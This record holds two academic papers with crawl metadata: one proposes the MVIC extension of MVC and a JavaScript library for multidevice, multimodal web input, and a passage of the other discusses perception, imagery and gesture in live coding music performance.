"google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 40376, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 40376, null]], "pdf_page_numbers": [[0, 5473, 1], [5473, 11569, 2], [11569, 16042, 3], [16042, 18925, 4], [18925, 24879, 5], [24879, 30351, 6], [30351, 33218, 7], [33218, 39062, 8], [39062, 40376, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 40376, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
a626570e3497d4cec388b6da0c6afe5bd24fea98
|
A Design Pattern for Multimodal and Multidevice User Interfaces
Alessandro Carcangiu
Department of Electrical and Electronic Engineering, University of Cagliari
Via Marengo 2, 09123 Cagliari, Italy
alessandro.carcangiu@diee.unica.it
Gianni Fenu
Department of Mathematics and Computer Science, University of Cagliari
Via Ospedale 72, 09124 Cagliari, Italy
fenu@unica.it
Lucio Davide Spano
Department of Mathematics and Computer Science, University of Cagliari
Via Ospedale 72, 09124 Cagliari, Italy
davide.spano@unica.it
ABSTRACT
In this paper, we introduce the MVIC pattern for creating multidevice and multimodal interfaces. We discuss the advantages provided by introducing a new component to the MVC pattern for those interfaces which must adapt to different devices and modalities. The proposed solution is based on an input model defining equivalent and complementary sequence of inputs for the same interaction. In addition, we discuss Djiset, a javascript library which allows creating multidevice and multimodal input models for web applications, applying the aforementioned pattern. The library supports the integration of multiple devices (Kinect, Leap Motion, touchscreens) and different modalities (gestural, vocal and touch).
ACM Classification Keywords
H.5.2. Information Interfaces and Presentation (e.g. HCI): User Interfaces; Input devices and strategies (e.g., mouse, touchscreen).
Author Keywords
Input Modelling; User Interface Engineering; Design Pattern; Multimodal Interfaces; Device Independence
INTRODUCTION
In later years, we witnessed the introduction in the mass-market of different interaction devices that made it feasible to transform into interactive environments different places that usually had no interactive capabilities. In this category, we can remember for instance Microsoft Kinect\(^1\), which has been employed in different settings such as home environments, interactive showcases, artistic installations etc. However, even if the Kinect is one of the most famous, there are also other devices that lately provided new interaction capabilities to a wider audience: the Leap Motion\(^2\), which provides an accurate tracking of the hand and fingers position in 3D at an affordable price, head-mounted displays such as the Oculus Rift\(^3\) or even mobile phones mounted inside a headset (e.g. Samsung Gear VR\(^4\)), which allow to create virtual reality experiences at a consumer level.
The currently increasing popularity of the aforementioned devices allows interaction designers to exploit them for creating new experiences outside the game environment, in particular using the web for reaching a wider audience. However, as usual in the web, it is difficult to select a particular device for an application since the same input may be provided by different devices or by different combinations of devices. Therefore, if a designer focus on one particular device (or one particular setting), a portion of the potential audience is lost.
In this paper, we propose a variation of the Model View Controller (MVC) pattern that allows developers to redefine equivalent inputs for different devices, decoupling the input sources from their interpretation inside the application. We called this pattern Model View Input Controller (MVIC). We first detail our contribution abstracting from a particular implementation technology, discussing how it is possible to add to the classical MVC pattern a new component that translates input events from a particular device into more abstract events, which may be related to commands or manipulations. We consider that there may be more than one modality that can be exploited by the user for conveying the same information. After that, we discuss the implementation of a proof-of-concept library, called Djiset, which supports the pattern for the web environment.
THE MVIC PATTERN
In this section we detail the main contribution of this paper, which is a pattern for defining a set of input events that abstract from a particular device. This allows to map events coming from different devices and provided through different modalities into high-level interaction events, isolating the reconfiguration of the underlying interaction according to the available devices, without handling this aspect in different parts of the source code.
---
\(^1\)http://www.microsoft.com/en-us/kinectforwindows/
\(^2\)https://www.leapmotion.com/
\(^3\)http://www.oculus.com/
\(^4\)http://www.samsung.com/global/galaxy/wearables/gear-vr/
The Input Management Problem
Before introducing the scheme of the general solution, we introduce the input management problem through a small example. We consider a web interface that enables the user to select a video inside a collection. The user interface can be organised as a grid of tiles (e.g. 4 columns and 3 rows), and the user can watch a video selecting one of the tiles. In addition, if the video list has more entries than the grid, the results are paginated and the user can sequentially explore the different pages.
If we consider a classical desktop setting, it is quite trivial to support the selection mechanism through mouse pointing and the page switching through dedicated buttons. We can add the keyboard support through e.g. navigating sequentially the grid through the TAB key and providing a short-cut for changing the page (e.g. using the arrow keys).
Applying the MVC pattern, this simple application should be described through three components:
1. The Model, which manages the data and models the application domain, contains the data and the metadata of the different videos.
2. The View, which manages the information visualization, defines the grid and the pagination layout.
3. The Controller, which interprets the user’s input, manipulates the model and selects the view accordingly, is responsible for reacting to mouse and keyboard events.
We may want to add the support for the gestural modality into this simple interface. We can use for instance the Leap Motion, which support easily the screen pointing through a 3D finger tracking. In this case, we have modify the controller in order to add some listeners to the Leap events. And what about adding the support also for Microsoft Kinect? The device supports (hand) pointing through the skeleton tracking, which again requires a controller extension.
In our idea, what is missing in our application is a more abstract concept of pointer, whose events are handled by the controller for defining the UI reaction to the input, independently from the actual used device. Therefore, we isolate the definition of the mapping between the different devices and the pointer abstraction into a new component, that we call Input. Such mapping can be very simple, as happens in this case, or it may be more complex. For instance, it may involve a complete change of modality (e.g. mapping the same command associated to a button on a vocal command) or activating an abstract event through the tracking a sequence of inputs (e.g. for recognizing a gesture).
Pattern Description
As we anticipated in the previous section, we propose to define a dedicated component that manages the input coming from different devices. The component diagram for the MVIC pattern is shown in Figure 1. The components with a gray background are derived from the MVC pattern in its original version. They maintain their responsibilities in the proposed pattern: the Model manages the behaviour and the data of the application domain, the View renders the information contained in the model in a way that is both comprehensible for the user and appropriate for the considered task, while the Controller glues these two components, interpreting user’s manipulations on the view reflecting such modifications on the model, and updating views according to model changes.
In our variant of the pattern, the Controller does not directly receive notifications about the user’s actions from the View, but such events are mediated by the Input component, which acts as a façade for the Controller towards the different input devices and modalities. In this way, the interface between the Input and the Controller components defines the set of abstract events that can be generated by different devices and through different modalities, which are exploited by the application.
Internally, the Input applies a Strategy pattern [3] for raising the abstract events, which is represented in Figure 2 by the InputStrategy class. The component may select one among the different available strategies according to both the available devices and a developer-defined policy for the particular application. As we better detail discussing the proof of concept implementation, the selection of the strategy can be specified either through programming code or in a declarative way (e.g. using a domain specific language).
In addition, each concrete strategy may exploit one or more data sources, coming from the same and/or different devices in order to raise one abstract event. This is modelled in Figure 2 applying the Composite pattern [3] among different refinements of the BaseStrategy class, which are responsible to track the input coming from a specific data source (e.g. one the touch surface of a multitouch screen, one for the audio source and one for the skeleton tracking source provided by the Kinect etc.). A generic composition is represented in the UML diagram by the CompositeStrategy class.
Considering the different techniques for composing the input coming from different data sources, we propose already in the pattern definition four composition techniques, according to the well-know CARE properties for multimodal interaction [1]:
- Complementarity: two (or more) data sources must be used for triggering the abstract event, but none of them is able to complete the change individually.
- Assignment: a specific abstract event can be triggered exclusively using a specific data source. In order to model
this property, there is no need to introduce a CompositeInputStrategy subclass, since a BaseInputStrategy subclass is sufficient if no other InputStrategy raises the same abstract event.
- **Redundancy**: an abstract event is triggered providing the same information through more than one modality (e.g. pointing plus vocal confirmation of the same selection). More than one input is needed for concluding the action.
- **Equivalence**: the same abstract event can be triggered through different data sources. The user can select one among them for completing the interaction.
**Pattern Application**
Adding a component in the structure of the MVC pattern helps in solving the problem of managing different input devices and to reconfigure the input strategy according to the available resources. However, the proposed solution has a cost in terms of complexity, which is adding different classes that manage the abstract events and implement the composition strategies.
It is worth pointing out that it is not always reasonable to pay such cost. First of all, it is obvious that for applications that require only mouse and keyboard for receiving input from the user, there is no need to introduce the new abstraction level. The same applies if the application designers decide to focus on one particular device for supporting the interaction, in case it is not possible or feasible to receive the same input from different devices. Therefore, the need of adapting the input management strategy to different devices or modalities is the primary criterion we suggest to consider for applying the pattern: if there is not such need, developers should not pay the additional complexity cost.
Moreover, considering the structure of the proposed pattern, it is easy to refactor the structure of an existing application that is compliant with the MVC pattern in order to support the adaptation: the View input events that are observed by the Controller are the starting point for defining the abstract events that should be raised by the new Input component. Once the Input defines the adaptation strategies, there is only the need to connect them with the View. No other operations on the Controller or the Model are needed.
**The Input component in other UI patterns**
Even if this paper focus on the MVC pattern, it is worth pointing out that a similar solution can be included also in applications that exploit different structures for separating the presentation from definition of the domain logic in a user interface. The following is a brief list of widely-known alternatives to MVC, together with some hints on how it would be possible to take advantage of the Input component also with these patterns.
The **Model-View-Presenter** (MVP) [11] differs from MVC since it assigns more responsibilities to the View and removes the Controller, introducing a Presenter component which maintains the View’s state and defines a set of commands. In this case, the Input component can be connected with the Presenter that, as happens for the Controller in MVC, reacts to abstract events rather than the ones raised by the View.
The **Presentation Model** [2] applies a double view-model mechanism: the Model has different views called Presentation Models, which are in turn considered as models for the Views. In this way, it is possible to e.g. persist the state of a View without committing the changes in the domain Model. In this case, the Presentation Model should receive updates from the Input component that, in turn, receives the updates from the View, separating the appearance from the input interpretation.
The **Model-View-View Model** (MVVM) [13] has been inspired by the Presentation Model pattern and it is exploited by recent Microsoft UI technologies such as WPF. It enforces the View to contain only the layout declaration (e.g. using XAML), while the behaviour part is delegated to the View Model, which is nearly equivalent to the Presentation Model in the previous pattern. The schema for adding the Input component is therefore equivalent to the previous case.
**JAVASCRIPT IMPLEMENTATION**
In this section, we provide some details on Djestit’s proof-of-concept library that allows to create web interfaces applying the MVIC pattern introduced in this paper. First of all, we discuss the general abstractions provided by the library, then we present the extension mechanism that allows to introduce the support for different interaction devices. Finally, we provide the description of a sample UI.
Djestit is javascript library that provides support for web developers that want to apply the MVIC design pattern to their web application. The library models the input (coming from different devices) through an expression that defines the input temporal sequencing. The expression is defined through the composition of two different types of terms: ground or composed.
The ground terms represent atomic events, which are notifications that cannot be further decomposed in smaller ones. In general, they are associated to a change in a specific data field tracked by an input device. For instance, we can consider a ground term the current mouse pointer position, the key press on a keyboard, the position of a skeleton joint tracked by MS Kinect or, in the vocal modality, the recognition of an utterance. Ground terms can be associated to boolean functions, in order filter the atomic events that do not fulfil a specific condition (e.g. tracking the position of a hand only if it is open).
It is possible to define composed terms connecting starting from ground terms and connecting expression through a set of temporal operators. The following is the set supported by Djestit:
- **Iterative**: recognizes an input expression an indefinite number of times. It is also possible to specify a minimum and/or a maximum number of repetitions.
- **Sequence**: connects two or more input expressions that must be recognized in sequence, in the specified order.
- **Parallel**: connects two or more expression that can be recognized at the same time.
The library is publicly available at the following URL: https://github.com/davidespano/DjestIT
Choice: allows the user to select one among the connected input expression for completing the recognition.
Disabling: defines that the right input expression stops the recognition of the left one (usually exploited as exit conditions for loops).
Order Independence: the connected input expression must be all recognized, without any constraint on which order.
Such composition mechanism provides a domain specific language (DSL) for the device and modality independent event definition. Indeed, the library raises events for the completion of each term included in the input expression (both ground or composed). In addition, the library raises error events when the received input sequence does not match the expression. Usually, such events are used for undoing uncompleted actions.
Input expressions
In order to show how it is possible to define the strategy modelling the input with the temporal expression, we consider the example in section 2.1. In this case, we want to support the selection of a tile in the video grid using i) the mouse, ii) the Leap Motion and iii) the Kinect. All of them support the pointing task. Abstracting from the device, what the controller needs is a point in the screen coordinates for highlighting one of the tiles while pointing, and a notification when the user confirms that the focused tiles is the one she wants to select.
In Djestit, it is possible to create input expressions simply defining a javascript object as shown in Table 1, which defines the pointing support for the sample application considering mouse pointing, Leap Motion and Kinect. Each ground term (gt) has a type that specifies the device feature it tracks. For instance the type \texttt{kinect.skeleton.handLeft} refers to the left hand point of the skeleton tracked by the Kinect. In addition, a ground term can specify a further condition (a boolean function) for notifying the input, which is useful for tracking trajectories or other input characteristics. The composite expressions are defined choosing a composition operator (e.g. choice) and recursively defining the operands.
After the input expression has been defined, it is possible to invoke a library function that tracks the user’s input and raises the completion and error events related to the different expression terms. The support for the different devices is provided by different extension modules, one for each device, each one adding a group of ground terms types that can be tracked.
In Table 1, the expression is a choice among three subexpressions, each one corresponding to a device. Lines 2 to 5 define the input expression for the mouse pointing: the user can move iteratively the mouse until (disabling) she presses the left button. Lines 6 to 17 define the pointing with the Leap Motion. The user points either with the left or right hand, therefore we first define a choice between two subexpressions: one related to the left (line 7 to 11) and the right hand (line 12 to 16). The two definitions are symmetrical, both track the index fingertip iteratively until the user completes a screen tap (a rapid movement of the finger towards the screen, recognized natively by the Leap SDK). The lines 18 to 31 define the pointing using the Kinect: the user can again use either one or the other hand, moving it while it is open (which is a boolean function, defined through plain javascript code) and closing it for confirming the selection. Finally, the lines from 32 to 42 define a combination between the input provided by the Leap motion for moving the pointer either with the left (line 34) or the right hand (line 36), which is confirmed vocally using the Kinect voice recognition features (line 39). The ground term definition provides the grammar for recognizing the vocal command, which is the word ‘select’ in our case.
It is worth pointing out that the choice at the top level is ambiguous, since there are two ground terms of type \texttt{leap.handLeft.index.4} and \texttt{leap.handRight.index.4} (respectively the left and right fingertips tracked by the Leap Motion). The library is able to handle such ambiguous definitions with the techniques described in [15].
Attaching the behaviour
While the javascript object defines what input sequence is relevant for the application, it does not define how the Input component reacts to such sequence. In order to decouple the definition of the temporal sequence from the definition of the
behaviour, we chose to provide a term selection mechanism for attaching handlers to the completion and error events related to the recognition of an input expression. The mechanism works similarly to the specification of CSS properties for HTML elements: first we write a selector for choosing a set of elements (input expressions) we want to modify and then we specify their properties. For selecting the expressions we use the javascript library JSON Select\(^6\), while the properties to be set are the Input component reactions to specific user input sequences.
In our example, we define as interface between the Input and the Controller components two functions: pointingMoved(point) which notifies that the user has changed the pointing location and selectionConfirmed for selecting the currently pointed object. The first abstract event should be raised when the user completes the terms at line 3, 8, 13, 20, 26, 34 and 36 in Table 1. All we have to do is transforming map the point tracked in the device space into a 2D screen point. This is trivial for mouse pointing, while for the Leap Motion and the Kinect this can be achieved with different techniques (e.g. head to hand ray tracing). Instead, the selection confirmation, which is the second abstract event, should be raised by the ground terms defined at lines 4, 10, 15, 23, 29 and 39.
The Djestit library allows to attach handlers to an expression through two functions: onComplete and onError. Both take as parameter an input expression, an array of JSON Selectors that specify to which ground and/or complex terms the handler should be attached and the handler function. The code in Table 2 shows the javascript code needed for attaching the behaviour at the expression in Table 1, according to the previous description.
### Discussion
We summarize here the advantages provided by the Djestit library. First of all, it helps web developers in being compliant with the MVIC pattern proposed in this paper, separating the detection of the input sequences received by different devices from their semantics. In particular, the proposed composition operators are able to support the CARE [1] properties for multimodal input. Considering a generic abstract event eventA that should be notified to the Controller by the Input component, the assignment is supported associating the abstract event only to expressions that exploit the same data source (e.g. kinect.voice). The equivalence can be supported associating the eventA to a choice between expressions each one exploiting different data sources, as happens for instance in Table 1. In order to support the redundancy we use the order independence operator following the same scheme. Finally the Complementarity can be achieved connecting the expressions with all operators but choice or order independence.
Besides the MVIC pattern advantages, the Djestit implementation provides two other advantages. The first one is the modularity with respect to the devices: each one has a dedicated plugin and the developer can, including the script in a HTML page, load only those needed by the application. Each plugin registers a set of ground terms to the core support. In order to extend the library for supporting a new device, there is only the need to write the javascript code for recognizing its ground terms.
---
\(^6\) [http://jsonselect.org/](http://jsonselect.org/)
The second advantage is that Djestit supports the definition of reusable input sequences, that can be shipped with a given plugin, for recognizing common inputs (e.g. multitouch or full-body gestures). Such advantage derives from the separation between the declaration of the temporal sequence and the mechanism for attaching the behaviour to ground and composite terms. Since the same input sequence (e.g. a gesture) can be used in different contexts and may produce different effects on the UI, the separation allows decoupling the input description from its effects.
RELATED WORK
The idea of providing a model for describing the different input sources has been widely investigated in literature, especially exploiting formal notations. For instance, already Myers [10] defined a set of reusable interactors that encapsulate the interactive behaviour, hiding the details of the underlying window-manager events. Such description required a more complex interfaces for having a good exploitation: Jacob et al. [6] applied FSM to non-WIMP user interfaces, separating two aspects of such kind of interfaces. The first one is the response to continuous input, which is managed by data-flow oriented variables. The second aspect is the connection among these continuous variables that can change according to different discrete events. Another application was the bimanual interaction [4], where Petri Nets provided a simple model for parallel manipulation.
More recently, the increasing popularity of multitouch and full-body gestures reopened the quest for a more structured input modelling. Considering multitouch input modelling, Kammer et al. [7] introduced GeForMT, a formalization of multitouch gestures that aimed to fill the gap between the high level complex-gestures (such as pinch to zoom) and the low level touch events provided by different toolkits. The description language is based on grammars. Khandkar et al. [8] proposed GDL (Gesture Description Language), which separated the gesture recognition code from the definition of the UI behaviour. Proton++ [9] decoupled the definition of the multitouch gesture (described as regular expression) and its behaviour, which is attached to the expression terminal characters. GISMO [12] is a gesture definition domain-specific language, which allows to simulate and execute the behaviour of an application separating interaction controls and gestures definition.
Considering a multimodal setting, Hoste et al. [5] introduced Mudra, a rule language able to unify the input stream coming from different devices, which exploits even different modalities. It supports facts coming from different modalities (e.g. voice and hand movements), but its structure still mix the recognition and the behaviour definition. Spano et al. [14, 15] proposed a gesture modelling technique which abstracts from the recognition technology, decoupling the description of the temporal sequence from the UI behaviour. In this paper, we extend the approach for supporting generic input devices, enlarging the scope of previous work. We allow to manage different devices and modalities with a single input model, explaining how to integrate it in the MVC controller pattern, which is widely applied to the development of user interfaces.
CONCLUSION AND FUTURE WORK
In this paper we described a variant of the MVC pattern for supporting different equivalent input device and modalities configuration for the same interactive application. We described how it is possible decouple the device management providing an abstraction of the user input towards the Controller component. In addition, we discussed the implementation of a proof of concept library which helps developers in applying the pattern for creating web applications.
In future work, we want to explore the possibility to automatically check properties on the input model, such as the access to all UI functionalities if one device or modality cannot be used. In addition, we want to provide an explicit support for input uncertainty, which may derive from the analysis of the voice signal or gesture trajectories.
REFERENCES
|
{"Source-Url": "https://iris.unica.it/retrieve/handle/11584/184986/155436/eics2016.pdf", "len_cl100k_base": 5495, "olmocr-version": "0.1.50", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 20429, "total-output-tokens": 6693, "length": "2e12", "weborganizer": {"__label__adult": 0.00047469139099121094, "__label__art_design": 0.0010595321655273438, "__label__crime_law": 0.0003614425659179687, "__label__education_jobs": 0.0005488395690917969, "__label__entertainment": 0.00010055303573608398, "__label__fashion_beauty": 0.0002313852310180664, "__label__finance_business": 0.00012791156768798828, "__label__food_dining": 0.000354766845703125, "__label__games": 0.0007305145263671875, "__label__hardware": 0.0019588470458984375, "__label__health": 0.000637054443359375, "__label__history": 0.0002846717834472656, "__label__home_hobbies": 8.922815322875977e-05, "__label__industrial": 0.0003769397735595703, "__label__literature": 0.0002453327178955078, "__label__politics": 0.00028204917907714844, "__label__religion": 0.000457763671875, "__label__science_tech": 0.0304412841796875, "__label__social_life": 7.43865966796875e-05, "__label__software": 0.005706787109375, "__label__software_dev": 0.9541015625, "__label__sports_fitness": 0.0004131793975830078, "__label__transportation": 0.0006184577941894531, "__label__travel": 0.00023114681243896484}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30472, 0.01829]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30472, 0.53551]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30472, 0.89158]], "google_gemma-3-12b-it_contains_pii": [[0, 4520, false], [4520, 9996, null], [9996, 16169, null], [16169, 20615, null], [20615, 24012, null], [24012, 30472, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4520, true], [4520, 9996, null], [9996, 16169, null], [16169, 20615, null], [20615, 24012, null], [24012, 30472, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30472, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30472, null]], "pdf_page_numbers": [[0, 4520, 1], [4520, 9996, 2], [9996, 16169, 3], [16169, 20615, 4], [20615, 24012, 5], [24012, 30472, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30472, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
3e5f0aaedb2d86596106d109a5d3f1213e5c8667
|
The creative act of live coding practice in music performance
Georgios Diapoulis
Interaction Design
University of Gothenburg,
Chalmers University of Technology
geodia@chalmers.se
Palle Dahlstedt
Interaction Design
University of Gothenburg,
Chalmers University of Technology
palle@chalmers.se
Abstract
Live coding is the creative act of interactive code evaluations and online multimodal assessments. In the context of music performance, novel code evaluations are becoming part of the running program and are interrelated to acoustic sounds. Performers’ and audience ability to experience these novel auditory percepts may involuntary engage our attention. In this study, we discuss how live coding is related to auditory and motor perception and how gestural interactions may influence musical algorithmic structures. Furthermore, we examine how musical live coding practices may bring forth emergent qualities of musical gestures on potentially equivalent systems. The main contribution of this study is a preliminary conceptual framework for evaluation of live coding systems. We discuss several live coding systems which exhibit broad variations on the proposed dimensional framework and two cases which go beyond the expressive capacity of the framework.
1. Introduction
1.1. Live coding for the composer-programmer
Live coding practice is a well spread performance activity among computer musicians. Since the funding act of the Temporary Organisation for the Promotion of Live Algorithm Programming, which begun with its draft manifesto (TOPLAP, 2005), a community of few live coders has now been seeing a tremendous expansion. In fact, the term live coding seems to be unclear within academic circles. Many believe that the term corresponds to streaming tutorials where professional programmers show best practices on how to “code live”. While this may reflect some aspects of live coding, it does not manifest the potential of a novel computing platform.
Live coding in music performance is a multimodal endeavour. Audition, vision, touch and balance are all forming a closely knit whole during performance. All aforementioned sensory cues may engage both the composer-programmer and audience in a multimodal experience. During performance practice the live coder is typically sharing her screen with the audience. This makes the process of live coding a transparent performance act, in which failure is always a possible outcome. In this manner, both the coder and the audience incorporate the generated music as a proxy to form a mental model of the running program. Consequently, the live coder aims to modify the running program on-the-fly, so that novel auditory percepts may involuntary engage our attentional resources (Escera, Alho, Winkler, & Näätänen, 1998). Such novel performance acts that are realized within the context of “show us your screens”, are widely used in algorave parties, where the audience is sometimes dancing during the concert (Collins & McLean, 2014). If the live coder fails to evaluate successfully the current code chunk and commit a system crash, she might start all over once again, or if she feels exhausted she might seek for some encouragement from the audience. This gestural communication between the audience and the live coders is well established in live performances as the algoraves are about to become 10 years old in 2022.
1.2. Humans in the loop
Live coding is a novel performance practice and maybe extends the notion of human-centric computing. This is because the human participant has an active role which is determined by the social nature of musical activities (Collins, McLean, Rohrhuber, & Ward, 2003; Thompson, 2015). On the other hand, there are still difficulties how to humanly embody our interaction with algorithms. Musicians are encountered to a first-hand experience of the semantic gap, as this is portrayed between the generated music and the
typed code expressions. The most prominent way, to date, to experience embodied interactions in live coding is taking flesh during a dance performance (McLean & Sicchio, 2014). Even in this scenario, the dancer is carrying on the performance within the predominant absence of causal or direct auditory percepts linked to musicians’ gestures. Besides these drawbacks, the world of live coders is a lively and widely divergent community of hackers, expert and novice programmers, academics, professional and hobby musicians and most likely a bunch of retired enthusiasts within the next decades (Nilson, 2007). Furthermore, there is a broad range of computer music conferences that have incorporated live coding as a research topic, but most importantly there is a quasi-annual conference on live coding (ICLC), first appeared in 2015.
1.3. Outlining the purpose of the study
In this study, our purpose is to present a conceptual framework for evaluation of live coding music systems. There is a broad variation of systems and practices among live coders and to the best of our knowledge there is no study to date which examines how music systems may differ to each other. The swedish alter ego of Nick Collins has reflected on different practices and actually proposed a battery of live coding exercises (Nilson, 2007). That was a month long live coding exercitiae carried out and documented with Fredrik Olofsson. In the next section we review literature from music psychology and perception along with studies in live coding and human-computer interaction. The focal point is how gestural interactions are employed in musical interaction design. Following that, we present a preliminary conceptual framework which aims to evaluate live coding systems. Finally, we discuss how such frameworks may flourish the development of novel music systems and we reflect on the possibility of a parallel evolution of performance practices.
2. Live coding: musical activities, music performance, systems and practices
2.1. Musical activities
Musical activities may be divided into three categories: music-making, music listening and musical imagery (see Figure 1). Music-making involves both music composition and music performance. Music listening is the most widespread activity as we are exposed to music many hours per day, even involuntary when drinking a coffee in a coffee shop. Musical imagery is the activity of imagining a melody of a song, a musical gesture and so on. A typical case of involuntary musical imagery are the so-called earworms, which is when a melody is in a person’s mind.
Here, musical activities are presented as progressively overlapping categories. We may claim that there is also a progressive engagement in musical activities, starting from the least engagement in musical imagery, following to more engagement during music listening and even more engagement during music-making (Luck, 2015). In that manner, during performance the live coder is employing music percepts towards building progressive levels of engagement. When an audience is attending a concert then the dynamics between audience and musicians is also an engaging experience, where dancing and gestural communication are typically of major importance.
2.2. Traditional and live coding music performance
During a concert, the generated music is heard by both performer and audience, and intersubjective music preferences may vary considerably. Whereas a live coding performance incorporates both visual and auditory percepts, to the best of our knowledge, there are no studies which assess how the visual channel contributes to audiences’ appreciation. For instance, in traditional music performance is well established that exaggerated bodily movement biases our visual perception of expressivity, which in return contributes to audience appreciation (Davidson, 1993).
Contrary, in live coding the bodily movement is usually minimal. This is an issue which the live coders have to consider if they would like to tighten the engagement with audiences and co-performers. Although, the visual projections have an important role in the live experience as a whole, it is difficult to make educated assessments due to the broad variety of live coding systems. Thus, in our study we consider only the auditory percepts during performance. Here, music listening is seen as an activity which is linked to music preferences and appreciation of the generated music. The live coder is appreciating
the generated music on-the-fly and this may result to structured code evaluations, which are tested and work properly (see Figure 1). In addition, musical imagery is linked to anticipated percepts which occur when people are exposed to music-like stimuli. During music performance this contributes to planning and involves a sequence of bodily movements which are required when playing a musical instrument (Keller & Koch, 2008). Similarly, in live coding performance, the coder is planning her future actions by trial-and-error of novel code evaluations (Tanimoto, 2017). In that manner, the coder is anticipating the auditory percepts of her actions.
The difference between live coding and traditional music performance is that in live coding the learned associations are not necessarily linked to automaticity in gestural control. Instead, the coder is making progressive levels of abstraction, which may be automated to a certain extent (Nilson, 2007). Automaticity in sensorimotor control, especially in the case of typing, is being unfolded in a later stage when the planning has brought forth some sort of mental model of the novel code structures. Such practices are linked to novelty and creativity, which are interrelated concepts to some extent. Typically, creativity depends on some novelty-related component. When there is mismatch of expectations during a live coding performance, this may result to either failure of execution and possibly a system crash or to novel music percepts.

Figure 1 – Musical activities in live coding performance. Description of perception and cognition during performance.
2.3. Perceptual and cognitive aspects of live coding systems and practices
2.3.1. Motor skills in musical interface design
From a motor perspective, a system’s response time cannot be smaller to the slowest part of the system (Gibet, 2010). If we transfer this from the motor domain to the user interface design, then we may conclude that the only case of intimate gestural feedback with a user interface (UI) can be achieved based on direct manipulation. Moreover, it is reasonable to assume that in many cases the user’s understanding is facilitated when no algorithm is involved during gestural interactions. Contrary, the systems that are used in live coding performances and new interfaces for musical expression (NIMEs), may require a long sequence of gestural interactions which involve algorithmic complexity. The question arises, how algorithmic complexity may be linked to musical gestures as these are portrayed in traditional music performance (Jensenius, Wanderley, Godøy, & Leman, 2010). Do we have to expand the notion of musical gestures (Salazar, 2017)? This can be a plausible argument because musical interfaces share properties from both human-computer interaction (HCI) and traditional music performance. In HCI the gestures in users’ interfaces are considerably different than musical gestures. In music performance there is a gestural virtuosiciry which is considered a no-go in user interface design.
2.3.2. Multifaceted functionality of musical imagery
During a live coding performance the composer-programmer is making music on-the-fly by incorporating interactive code evaluations. While doing so, she is listening to the music but also imagining anticipated music percepts. The latter is known as anticipatory auditory imagery (Keller, 2012). For instance, in dance music we anticipate the bass drum to be heard on regular intervals within the musical structure. If the composer alternate these regular repetitions of the bass drum our expectations would be mismatched and novel music percepts may arise from such structural modifications. Another significant aspect of musical imagery is that during music listening, pianists have demonstrated activations of involuntary motor imagery (Haueisen & Knösche, 2001). Thus, anticipatory imagery is involved both in action planning and action execution (Keller, 2012).
Here, we stretch the importance of a sequence of gestural interactions and we question how online auditory percepts may influence such multilayered gestural unfoldings in live coding. We argue that there should be some sort of mental models that allow the musician to conduct on-the-fly programmatic structures that meet her musical percepts. Interestingly, expert programmers have reported imageries of gestures and other bodily movements during problem solving tasks (Petre & Blackwell, 1999). Whereas direct manipulation can indeed provide a more traditional-like sense of intimate gestural control, more complex systems may also employ gestural imagery. Godøy (2003) sees that contrary to auditory imagery, gestural imagery may be suppressed in time. That is, we can “fast-forward” musical gestures using our mind, whereas the same do not apply to sounds. One cannot compress the duration of a sound and experience similar percepts. How such “gestural compressions” may be related to goal-directed actions? Is the teleological inquiry a mechanism which can facilitate the formation mental models?
If we examine the so-called “earworms” which seem to arise out of circumstances of involuntary musical imagery (notably have been reported widely in non-musicians as well) (Williamson, 2011), then such involuntary actions may trigger the formation of mental models. Such imagery, also known as spontaneous, can be triggered by musical notation. This is known as notational audiation in literature. Live coders employ similar imagery artifacts from chunks of code, as the code is becoming a musical notation (Magnusson, 2011). For instance, the first author is employing visual imagery when performing standard live coding sessions in SuperCollider using the keyboard. This is in the form of geometrical abstractions which are typically realized using low frequency oscillators (LFOs) to manipulate melodic and rhythmic structures that are usually driven by unit generators (UGens).
